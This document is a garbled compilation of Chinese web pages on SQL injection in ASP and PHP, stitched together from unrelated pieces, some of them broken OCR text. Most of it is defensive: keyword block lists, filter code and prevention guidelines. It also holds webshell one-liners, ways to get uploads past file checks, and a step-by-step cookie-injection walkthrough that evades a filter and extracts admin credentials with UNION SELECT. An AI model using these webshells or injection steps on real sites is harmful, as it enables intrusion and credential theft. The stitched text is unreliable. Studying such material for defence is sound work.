asp防注入代码
万能Asp防注入代码-拒绝攻击和注入漏洞
万能Asp防注入代码-拒绝攻击,addcomment.aspAspcms注入漏洞万能Asp防注入代码-拒绝攻击,addcomment.asp Aspcms注入漏洞放入conn.asp中(/plug/comment/addcomment.asp)(拒绝攻击万能Asp防注入代码)第一种:squery=lcase(Request.ServerVariables("QUERY_STRING"))sURL=lcase(Request.ServerVariables("HTTP_HOST"))SQL_injdata=":|;|>|<|--|sp_|xp_|/|dir|cmd|^|(|)|+|$|'|copy|format|and|exec|insert|select|delete|up date|count|*|%|chr|mid|master|truncate|char|declare"SQL_inj = split(SQL_Injdata,"|")For SQL_Data=0 To Ubound(SQL_inj)if instr(squery&sURL,Sql_Inj(Sql_DATA))>0 ThenResponse.Write "SQL防注入系统"Response.endend ifnext第二种:SQL_injdata=":|;|>|<|--|sp_|xp_|/|dir|cmd|^|(|)|+|$|'|copy|format|and|exec|insert|select|delete|up date|count|*|%|chr|mid|master|truncate|char|declare"SQL_inj = split(SQL_Injdata,"|")If Request.QueryString<>"" ThenFor Each SQL_Get In Request.QueryStringFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then Response.Write "SQL通用防注入系统"Response.endend ifnextNextEnd IfIf Request.Form<>"" ThenFor Each Sql_Post In Request.FormFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "SQL通用防注入系统"Response.endend ifnextnextend if一般这种问题是网站有漏洞,系统漏洞或者SQL注入漏洞,或者上传文件漏洞,如何防止网页被修改加入脚本病毒? 爱牛网络将这个问题总结分享如下.1、简单的补救措施:在服务器IIS中,把所有的ASP,HTML文件的属性设置为Everyone 只读(一般是IUSR_),只把数据库的权限设置成可写,注意:如果你没有服务器的管理权限,那么登录上的空间ftp,选中那些不需要写入的文件或文件夹,右键点击-属性:把其中的三组写入权限都取消,但如果你有ACCESS数据库,要把数据库设成可写,不然读数据时会出错。
ASP 安全编程一些注意事项
[原创]ASP 安全编程一些注意事项信息来源:邪恶八进制信息安全团队()文章作者:乱雪()很多人抱怨ASP安全不高、速度不快,其实ASP也很优秀。
用PHP一样可以写出拉圾程序,用ASP依然可以写出很优秀的程序。
安全高不高取决于编程者,PHP 依然可以写出漏洞百出的程序,所以,别抱怨ASP这样那样的毛病,我写ASP已经三年多了,一直都认为它很方便,虽然有些地方写着很复杂,及不上PHP,因为这样,ASP写着感觉更爽。
把多年总结的一些ASP常见的安全事项写出来。
一、古老的绕验证漏洞虽然古老,依然存在于很多小程序之中,比如一些企业网站的后台,简单谈谈。
这个漏洞出现在没有对接受的变量进行过滤,带入数据库判断查询时,造成SQL语句的逻辑问题。
例如以下代码存在问题:username=request("username")password=request("password")sql = "select * from user where username='" & username & "' and password='" & password & "'"很容易看出在没有对username、password进行过滤就带入SQL语句进行判断了,提交'or''=',SQL语句就变成了select * from user whereusername=''or''=''and password=''or''='',返回值为ture。
一般在登录处过滤字符,代码如下:replace(request.form("username"),"'","")replace(request.form("password"),"'","")上面指定了POST方式接受提交过来的数据,指定接受方式很重要,下面谈谈。
sql注入原理及php防注入代码
1、基本概念○1php.ini文件中的一个设置:magic_quotes_gpc。
此设置默认是关闭的,即magic_quotes_gpc=off,一般将其设置为on。
为on时,php应用程序服务器将自动把用户提交的对SQL的查询进行转换,比如吧“‟”转化为“\‟”,它的作用是在敏感字符前加一个反斜杠“\”,这对防止SQL注入有重大作用。
○2函数addslashes()作用是在所有外部数据敏感字符‟(单引号)、\(反斜杠)、NUL的前面加上反斜杠。
○3函数intval()作用是将数据类型转化为整型。
注意:在新版本PHP中,即使magic_quotes_gpc设成了on,在使用addslashes()函数来处理时不会出现冲突的,可以大胆使用。
2、sql漏洞注入原理○1基础过滤和二次过滤一般情况下,在获得用户提交的参数时,首先要进行一些基础性的过滤,然后再根据程序的响应的功能以及用户输入进行二次过滤。
在所有用户输入处对敏感字符进行过滤,敏感字符如下:"\\", "&", " ", "'", "/", "*", ",", "<", ">", "\r", "\t", "\n", "#", "$", "(", ")", "%", "@", "+", "?", ";", "^","--","and","or","select","update"在javascript中使用代码过滤敏感字符串:<html xmlns="/1999/xhtml" ><head><title>标题页</title><script LANGUAGE="JavaScript">function check(inputStr) {if (typeof(inputStr) != "string") { return inputStr; } //判断是否是字符串类型var tmpValue = inputStr;//以下搜索字符串中的特殊字符,如果存在,则替换成""while (tmpValue.indexOf(';') > -1) {tmpValue = tmpValue.replace(';',''); }while (tmpValue.indexOf('<') > -1) {tmpValue = tmpValue.replace('<',''); }while (tmpValue.indexOf('>') > -1) {tmpValue = tmpValue.replace('>',''); }while (tmpValue.indexOf('--') > -1) {tmpValue = tmpValue.replace('--',''); }while (tmpValue.indexOf(",") > -1) {tmpValue = tmpValue.replace(",",""); }while (tmpValue.indexOf("'") > -1) {tmpValue = tmpValue.replace("'",""); }while (tmpValue.indexOf("?") > -1) {tmpValue = tmpValue.replace("?",""); }document.getElementById("txt1").value = tmpValue; //重新显示更改后的变量}</script></head><body><input type=text id="txt1" value="select * from userinfo where username=zhang' and passwrod=2" style="width: 392px"><input type=button value="提交" onClick="check(txt1.value)"></body></html>3、防注入的php代码:<?PHP//PHP整站防注入程序,需要在公共文件中require_once本文件//判断magic_quotes_gpc状态if(@get_magic_quotes_gpc()){$_GET = sec($_GET);$_POST = sec($_POST);$_COOKIE = sec($_COOKIE);$_FILES = sec($_FILES);}$_SERVER = sec($_SERVER);function sec(&$array){//如果是数组,遍历数组,递归调用if(is_array($array)){foreach ($array as $k => $v){$array[$k] = sec($v);}}else if(is_string($array)){//使用addslashes函数来处理$array = addslashes($array);}else if(is_numeric($array)){$array = intval($array);}return $array;}//整型过滤函数function num_check($id) {if(!$id){die('参数不能为空!');}//是否为空的判断else if (inject_check($id)){die('非法参数');}//注入判断else if (!is_numetic($id)){die('非法参数');}//数字判断$id = intval($id);//整型化return $id;}//字符过滤函数function str_check($str){if(inject_check($str)){die('非法参数');}//注入判断$str = htmlspecialchars($str);//转换htmlreturn $str;}function search_check($str){$str = str_replace("_","\_",$str);//把"_"过滤掉$str = str_replace("%","\%",$str);//把"%"过滤掉$str = htmlspecialchars($str);//转换htmlreturn $str;}//表单过滤函数function post_check($str,$min,$max){if(isset($min) && strlen($str)< $min){die('最少$min字节');}else if(isset($max)&&strlen($str)>$max){die('最多$max字节');}return stripslashes_array($str);}//防注入函数function inject_check($sql_str){returneregi('select|inert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|UNION|into|load_file|outfile',$sql_str); //进行过滤,防注入}function stripslashes_array(&$array){if(is_array($array)){foreach ($array as $k => $v){$array[$k] = stripslashes_array($v);}}else if(is_string($array)){$array = stripslashes($array);}return $array;}?>以上程序可以在网站的一个公共文件中进行包含,它是结合实际经验写的一个通用过滤程序。
asp常用代码
翻页:<%Set rs = server.CreateObject("Adodb.RecordSet")rs.open sql,c onn,1,1if not rs.eof thenif request("pagenum")="" thenpagenum=1elseif IsNumeric(request("pagenum")) thenpagenum=Cint(request("pagenum"))elsepagenum=1end ifend ifrs.pagesize=40if pagenum<=0 then pagenum=1if pagenum>rs.pagecount then pagenum=rs.pagecount'response.write "["&pagenum&"]"rs.absolutepage=pagenum '转到要查询的页。
for i=1 to rs.pagesize%>循环内容<%rs.movenextif rs.eof then exit fornextelse%>还没记录!<%end if%><%response.write("每页"&rs.pagesize&"项 共"&rs.recordcount&"项 "&pagenum&"/"&rs.pagecount&" ")if 1 < pagenum then '向上翻页response.write("<a href='?pagenum=1'>首页</a> ")response.write("<a href='?pagenum="&pagenum-1&"'>上一页</a> ")elseresponse.write("<font disabled>首页上一页 </font>")end ifif pagenum >= rs.pagecount then '向下翻页response.write("<font disabled>下一页尾页</font> ")else'response.write("<br>rs.pagecount="&rs.pagecount&"<br>pagenum="&pagenum&"<br>")response.write(" <a href='?pagenum="&pagenum+1&"'>下一页</a> ")response.write("<a href='?pagenum="&rs.pagecount&"'>尾页</a> ")end if%>VB回车换行符:vbCrLf是VB中用于表示“回车换行”的字符串常数(长度为2字节),相当于Chr(13)+Chr(10),或者汇编中的DB 0AH,0DH,$由于是常数,所以不会影响速度。
开发代码安全规范-防SQL注入和XSS跨站攻击代码编写规范
开发代码安全规范防SQL注入和XSS跨站攻击代码编写规范修订历史目录概述 (2)适用范围 (2)一、第一类漏洞类型-SQL注入(SQL INJECTION)及规范 (2)1.1名词解释: (2)1.2经典案例说明: (2)1.3代码实例分析: (6)1.4防止SQL注入攻击的代码安全规范总结: (7)二、第二类漏洞类型-XSS跨站脚本攻击及规范 (8)2.1名词解释: (8)2.2经典案例说明: (8)2.3 防止XSS跨站脚本攻击的代码安全规范总结: (9)三、安全操作实践 (10)概述在技术高速发展的今天,Web应用被广泛使用,伴随而来的是各种安全隐患,主要是编程人员的安全意识较淡薄,缺乏安全编程经验,上线前安全检测不全面。
因此,给心怀不轨之人以机会,对公司和个人财产安全造成威胁。
本规范希望给编程人员一个较清晰的安全概念,在代码编写时提高警惕。
适用范围xx集团及其分子公司业务系统的所有开发人员,包括系统外包的第三方开发人员。
一、第一类漏洞类型-SQL注入(SQL Injection)及规范1.1 名词解释:SQL注入攻击:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
1.2 经典案例说明:例1:用户登录界面及标准输入格式:Web与数据库连接调用方式:通过“‘空’or’1’=’1’”这类非法输入,进行恶意SQL注入以上例子是开发人员直接把用户输入当作可信部分直接和SQL语句拼接造成的SQL 漏洞。
例2:即使开发人员利用PHP内置的过滤函数后,还是有可能出现问题:调用PHP函数可以改善查询和调用,并限制输入类型,但仍然无法避免注入:利用GBK转译编码方式依旧可以执行‘空’or‘1=1’类注入语句因此,使用PHP函数规范输入时,还必须注意字符集选择问题:1.3 代码实例分析:Web应用存在着多种多样的SQL注入漏洞,下面以生产实例进行分析。
如何防范SQL注入漏洞
如何防范SQL注入漏洞SQL注入漏洞是一种常见的网络安全漏洞,攻击者通过在数据库查询中插入恶意的SQL语句,来获取或修改数据库中的数据。
为了防范SQL注入漏洞,以下是一些常用的防范方法:1.使用参数化查询参数化查询是防范SQL注入最有效的方法之一、通过使用参数化查询,可以将用户输入的数据作为参数传递给查询语句,而不是将用户输入的数据直接拼接到查询语句中。
使用参数化查询可以防止攻击者在输入中注入恶意的SQL代码。
例如,在使用SQL语句查询用户名和密码的过程中,可以使用参数化查询来替代直接拼接字符串的方式:```SELECT * FROM users WHERE username = :username AND password= :password;```这里的`:username`和`:password`是参数,可以通过编程语言的API来传递具体的值。
2.输入验证和过滤对于用户输入,应该进行适当的验证和过滤,以确保输入的数据符合预期的格式和范围。
例如,如果预期输入的是一个整数,则可以使用正则表达式验证用户输入的是否为整数,如果不是,则应该拒绝请求或给予错误提示。
此外,对于一些特殊字符,如单引号、双引号、分号等,可以进行过滤或转义。
例如,可以使用转义字符转义单引号,将其作为普通字符处理,而不是作为SQL语句的一部分。
3.最小权限原则为了减少风险,数据库用户应该被授予最小的权限,以限制其操作的范围。
例如,如果一个用户只需要查询一些表的数据,那么应该只给予该用户查询权限,而不应该给予修改、删除等权限。
此外,对于不同的应用,应该使用不同的数据库账户,以确保数据库的安全性。
这样,即使一个账户存在SQL注入漏洞,也不会对其他应用造成影响。
4.使用ORM框架ORM(对象关系映射)框架可以帮助开发人员避免直接编写SQL语句,从而减少SQL注入漏洞的风险。
ORM框架会自动将对象和数据库表进行映射,同时提供了参数化查询等安全特性。
来自微软专家的SQL注入防范方法WEB安全电脑资料
来自微软专家的SQL注入防范方法WEB安全 -电脑资料自去年下半年开始,很多网站被恶意代码说困扰,攻击者在动态网页的SQL数据库中注入恶意的HTML < SCRIPT.>标签,来自微软专家的SQL注入防范方法WEB安全。
这种脚本攻击行为在2008年第一季度开始加速传播,并继续影响有漏洞的Web应用。
这些Web应用存在以下几点共性:使用ASP作为编程代码;使用SQL Server数据库;应用程序代码根据URI请求字符串生成动态SQL查询(/widgets.asp?widget=sprocket)。
这代表了一种新的SQL注入(SQL injection)途径(/en-us/library/ms161953.aspx)。
在过去,SQL注入攻击的目标通常是具有安全漏洞或特殊数据库结构的Web应用。
如今这种攻击的不同在于,攻击能够利用任何URI 请求字符串来创建动态SQL查询,进而攻击任何存在的漏洞。
在/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx可以找到更多技术详情和代码。
这种攻击并非利用了Window、IIS、SQL Server或者其他底层代码漏洞,相反地它利用了在这些基础平台上运行的WEB应用漏洞。
Microsoft已经对这些攻击进行了彻底的调查,并发现这些攻击和以往微软产品的补丁和0-day漏洞无关。
更多信息访问/msrc/archive/2008/04/25/questions-about-web-server-attacks.aspx。
正如上面所指出的,SQL注入攻击在近年来呈现一种增长的趋势。
至少两点重要因素促使其增长:一方面,自动化的恶意攻击工具。
SANS在/diary.html?storyid=4294讨论了这类工具。
恶意攻击工具使用搜索引擎来寻找存在漏洞站点并进行SQL注入。
基于ASP.NET下SQL注入攻击防范与应用
维普资讯
维普资讯
第3 卷 第3 4 期 2 0 年9 06 月
江汉大学学报( 自然科学 版)
Junl fi g a nvri ( a rl c n e) orao J n hnU iesy N t a Si cs a t u e
Vo . 4 NO 3 13 .
输 入 参数 ,这 类 表单 特 别 容易 受 到 S L 注 入 攻 Q 击 .这种 攻 击 的要诀 在于 将 S L的查 询/ Q 行为 命
收 稿 日期 :2 0 06一o 4—1 7
作者简介:马致远 (9 1一 ,男,四川长宁人 ,硕士生,主要从事软件开发和工程数值 方法的研究. 17 )
中 图 分 类 号 :T 39 P0. 2 文 献 标 识 码 :A 文 章 编 号 : 17・1320 )307 ・ 6 304 ( 60-0 80 0 4
0 引言
在 任 何 WE 开 发 中 ,安 全 性 都是 一个 重 要 B
要 素 .在 WE B应 用 程序 中 ,确 保 安全 性是 一 个
重要 而 复杂 的 问题 . PN T应用 程序 的安 全 性 AS . E 通 常界 定 为在 其上 运 行 的计算 机 的配置 , 以及 诸 如数 据 库 之类 的连 接 资 源. 就需 要 在特 定 文件 这 夹 、文 件 、 件 和 其他 资 源上 限制 访 问 ,以及 授 组 权 给合适 的用 户 【 l 们知 道 可 用 AS . E J .我 PN T提供 的身份 验证 、授权 、角色扮 演 、I I S自带 的 N F TS 权 限 和委 托技 术来 增 强 WE B应用 程 序 和服 务器 安 全性 【,但 当发生 S L注入 攻击 时 ,对 于 保护 l J Q 数据 库 安 全还 是远 远 不 够 的. 本文 将 重点 讨 论在 A PNE S . T下 攻 击 者使 用 S L注 入 攻 击危 及 数据 Q 库 安 全 的原 理 ,以及 结 合 所 做 项 目实 践 提 出 防
通用防SQL注入代码ASP版
通⽤防SQL注⼊代码ASP版通⽤防SQL注⼊代码ASP版代码dim sql_injdataSQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"SQL_inj = split(SQL_Injdata,"|")If Request.QueryString<>""ThenFor Each SQL_Get In Request.QueryStringFor SQL_Data=0To Ubound(SQL_inj)if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0Then'Response.Write(Request.QueryString)Response.Write "<Script>alert('@SQL通⽤防注⼊系统提⽰↓nn请不要在参数中包含⾮法字符尝试注⼊!');history.back(-1)</Script>"Response.endend ifnextNextEnd IfIf Request.Form<>""ThenFor Each Sql_Post In Request.FormFor SQL_Data=0To Ubound(SQL_inj)if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0Then'Response.Write(Request.Form)Response.Write "<Script>alert('@SQL通⽤防注⼊系统提⽰↓nn请不要在参数中包含⾮法字符尝试注⼊!');history.back(-1)</Script>"Response.endend ifnextNextEnd Ifsss=LCase(request.servervariables("QUERY_STRING"))if instr(sss,"select")<>0or instr(sss,"inster")<>0or instr(sss,"delete")<>0or instr(sss,"(")<>0or instr(sss,"'or")<>0thenresponse.write "<BR><BR><center>你的⽹址不合法"response.endend ifStrTemp=request.servervariables("server_name")&request.servervariables("url")&"?"&Request.QueryStringStrTemp = LCase(StrTemp)If Instr(StrTemp,"select%20") or Instr(StrTemp,"insert%20") or Instr(StrTemp,"delete%20from") or Instr(StrTemp,"count(") or Instr(StrTemp,"drop%20table") or Instr(StrTemp,"update%20") or Instr Response.Write "<script language='javascript'>alert('⾮法操作!⽴即返回!');history.back();</script>"Response.endEnd If。
用ASP程序写注入扫描及木马查杀[脚本语言也不弱]
'****************************************************
Dimvar_Table,var_UserField,var_PassField,var_UserLen,var_PassLen,var_Username,var_Password
SelectCasestrer
Case"pause"
re="扫描速度缓冲!"
IfGetSession("ScanPause")<>"yes"Thenresponse.write"<metahttp-equiv='refresh'content='1;url=?'>"
var_MaxLen=16 '用户名及密码最大长度设置,可修改。
var_PauseTime=10 '执行检测事缓冲速度设置,建议设置为5-20左右,数字越小检测越频繁。
'####################################################
%>
<divclass="space"></div>
<divclass="Block">
<divclass="BlockBar">扫描报告</div>
<divclass="BlockMain">
一句话木马绕过和防御
一句话木马绕过和防御作者:jaivy若有错误欢迎指正,非常感谢!若有疑问欢迎讨论,共同学习!·WebShellWebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
中国菜刀可以连接asp、aspx、php、jsp的一句话木马。
·常见的一句话木马Asp:<%eval request("x")%>aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%> php: <?php @eval($_POST['x']);?>密码均为x一、本地检测及绕过方法·前台文件扩展名检测(弹小框框的一般就是该检测了)(本地漏洞客户端漏洞改扩展名,burp抓包,改回来即可)四种办法绕过,1 . 00截断(两种方式实现,但实质都一样)00截断原理:计算机遇到'\0'字符,就认为字符串结束了。
(可以联系c语言字符串后面自动添加了一个‘\0’来判断是否到达末尾来理解)方法一:在hex中修改(在16进制中修改)找到文件名pass.php.jpg对应的地方把2e改为00(【2e】是字符【.】对应的hex值)方法二直接在.php后面加上%00然后选中%00,对其进行url-decode 处理方法三:直接用在.php后面加上【’\0’】(但此方法是有时无效)方法四:直接把【pass.php.jpg改为pass.php】·content-type参数检测(修改数据包content-type)ContentType 一般参数有application/x-cdf 应用型文件text/HTML 文本image/JPEG jpg 图片image/GIF gif图片把ContentType 由application/x-cdf改为image/gif·文件内容检测:文件内容检测脚本中getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错,是一种比较严的防御措施。
ASP预防注入攻击方法
M ir s f 0L DB P o ie f r ODBC Drv r co o t E r vd r o ies
电脑编程技巧与维护
A P预 防 注入 攻 击 方 法 S
张艳 刚
( 圳 市 公 安 边 防支 队 ,深圳 5 8 2 ) 深 10 6
摘 要:随着注入工具的泛滥,对 网站的注入攻击 日益频繁 。通过 对注入 攻击的原理 、防 注入 的常 用手段等方 面的
分析 ,讲 解 A P网站 防 注入 的编 程 思路 . S 关 键 词 :A P注入 ; 击: S; 攻 网站
从 客户端提 交特殊 的代码 ,从而 收集程 序及 服务器 的信息 ,
从 而 获取 想 得 到 的 资料 。
码也就是 P S O T请求中的参数 。
一
般 来 说 ,S L注 入 一 般存 在 于形 如 :H F : x . Xxx Q T P/ XX . / / x X x
3 防注入 的思路
也 就 是 G T请 求 中 的参 数 ,一 个 是 在 表 单 中 填 写 设 计 好 的代 E
但是别 有用心 的人 从这个 出错信息 中 ,可 以获得 以下信
息 :该站使 用 MS S L数 据库 ,用 O B _Q D C连接 ,连接 帐号名 为 :sn b 。所谓 S L注入 (Q netn ,就是利 用程序 oy b Q S LIjco ) i 员对用 户输 入数据 的合法 性检测不严 或不检测 的特点 ,故意
站数据被修改 、页面被加上恶 意代码 、甚 至传播 病毒 、木马 ,
PHP防止SQL注入方法
(1) 打开php的安全模式php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,但是默认的php.ini是没有打开安全模式的,我们把它打开:safe_mode = on(2) 用户组安全当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同组的用户也能够对文件进行访问。
建议设置为:safe_mode_gid = off如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要对文件进行操作的时候。
(3) 安全模式下执行程序主目录如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:safe_mode_exec_dir = D:/usr/bin一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,然后把需要执行的程序拷贝过去,比如:safe_mode_exec_dir = D:/tmp/cmd但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:safe_mode_exec_dir = D:/usr/www(4) 安全模式下包含文件如果要在安全模式下包含某些公共文件,那么就修改一下选项:safe_mode_include_dir = D:/usr/www/include/其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。
(5) 控制php脚本能访问的目录使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:open_basedir = D:/usr/www(6) 关闭危险函数如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。
学校ASP网站漏洞及防范
学校ASP网站漏洞及防范[摘要]目前浏阳的很多学校都建立了自己的网站,但都是基于ASP和Access的,很多的网站是直接从网上下载的,有着很多网站的注入通病。
[关键词]浏阳网站数据库攻击由于ASP的方便易用,越来越多的网站后台程序都使用ASP脚本语言。
但是,由于ASP本身存在一些安全漏洞,稍不小心就会给攻击者提供可乘之机。
目前ASP+ACCESS网站的主要安全隐患来自Access数据库的安全性,其次在于ASP网页设计过程中的安全漏洞,也就是没有把很多关键词进行过滤。
一、漏洞解析1、用户名与口令被破解用户名与口令,往往是攻击者们最感兴趣的东西,如果被通过某种方式看到源代码,后果是严重的,我们的网站很快就会被攻击者占据。
2、 ASP木马有些网站允许用户上传文件,但必需对这些上传文件十分小心,为什么论坛程序被攻破后主机也随之被攻击者占据。
原因就在于可能存在ASP木马,它能把一个文件随便放到你论坛的程序中,进而整个网站被攻击者占据。
3、 inc文件泄露问题当存在ASP的主页正在制作且没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象。
如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中查看到数据库地点和结构的细节,并以此揭示完整的源代码。
4、特殊字符输入框是黑客利用的一个目标,他们可以通过输入脚本语言等对用户客户端造成损坏;如果该输入框涉及数据查询,他们会利用特殊查询语句,得到更多的数据库数据,甚至表的全部。
因此必须对输入框进行过滤。
但如果为了提高效率仅在客户端进行输入合法性检查,仍有可能被绕过。
5、 Access数据库的存储隐患在ASP+Access应用系统中,如果获得或者猜到Access数据库的存储路径和数据库名,则该数据库就可以被下载到本地。
例如:对于网上书店的Access数据库,人们一般命名为book.mdb、store.mdb 等,而存储的路径一般为“URL/database”或干脆放在根目录(“URL/”)下。
cookie注入绕过SQL通用防注入程序
ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合 cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:<!--#include file="opendb.asp" --> (调用opendb.asp文件)<!--#include file="char.asp" --><%Call CheckUserLogin(username)Dim action,s,idid=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3我们再打开"opendb.asp"文件<%Option ExplicitResponse.Buffer = true%><!--#include file="fzr.asp" --> (调用fzr.asp文件)<!--#include file="cnkdata/dbname.asp" --><!--#include file="config.asp"-->..................以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件<%'--------版权说明------------------'SQL通用防注入程序'Aseanleung'--------定义部份------------------Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstrDim fso1,all_tree2,file1,files,filez,fs1,zruseripIf Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)'自定义需要过滤的字串,用 "|" 分隔Fy_In ="'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|tr uncate|char|declare|script" (阻止了常用的SQL注入的语句)Fy_Inf = split(Fy_In,"|")For Each Fy_Get In Request.QueryStringFor Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Thenzruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!<br>"Response.Write "如是要攻击网站,系统记录了你的操作↓<br>"Response.Write "操作IP:"&zruserip&"<br>"Response.Write "操作时间:"&Now&"<br>"Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"Response.Write "提交方式:GET<br>"Response.Write "提交参数:"&Fy_Get&"<br>"Response.Write "提交数据:"&Request.QueryString(Fy_Get)......................很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用 Request.cookie 方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).原理讲好了,下面我们来学学coolie注入语句吧cookies的注入语句:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)2:"document.cookie"我们在处理cookie时,javascript将它保存为document 对象的一个属性,其属性名称是 cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)最后我们来测试下,利用步骤:1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)2:把浏览器的URL清空,输入"javascript:alert(document.cookie="ArticleID="+escape("401 and 1=1"));之后会弹出一个框框,3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)3:再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和55:再次把地址栏清空,输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员的密码和账号了。
asp中通用防SQL注入漏洞程序
result = ValidData(HttpContext.Current.Request.QueryString[i].ToString());
if (result)
{
break;
}
else
{
result = SQLInjectionHelper.ValidUrlGetData();//Get数据检查
}
if (result)
{
{
return true;
}
else
{
return false;
}
}
/// <summary>
/// 获取正则表达式
/// </summary>
for (int i = 0; i < strBadChar.Length - 1; i++)
{
str_Regex += strBadChar[i] + "|";
}
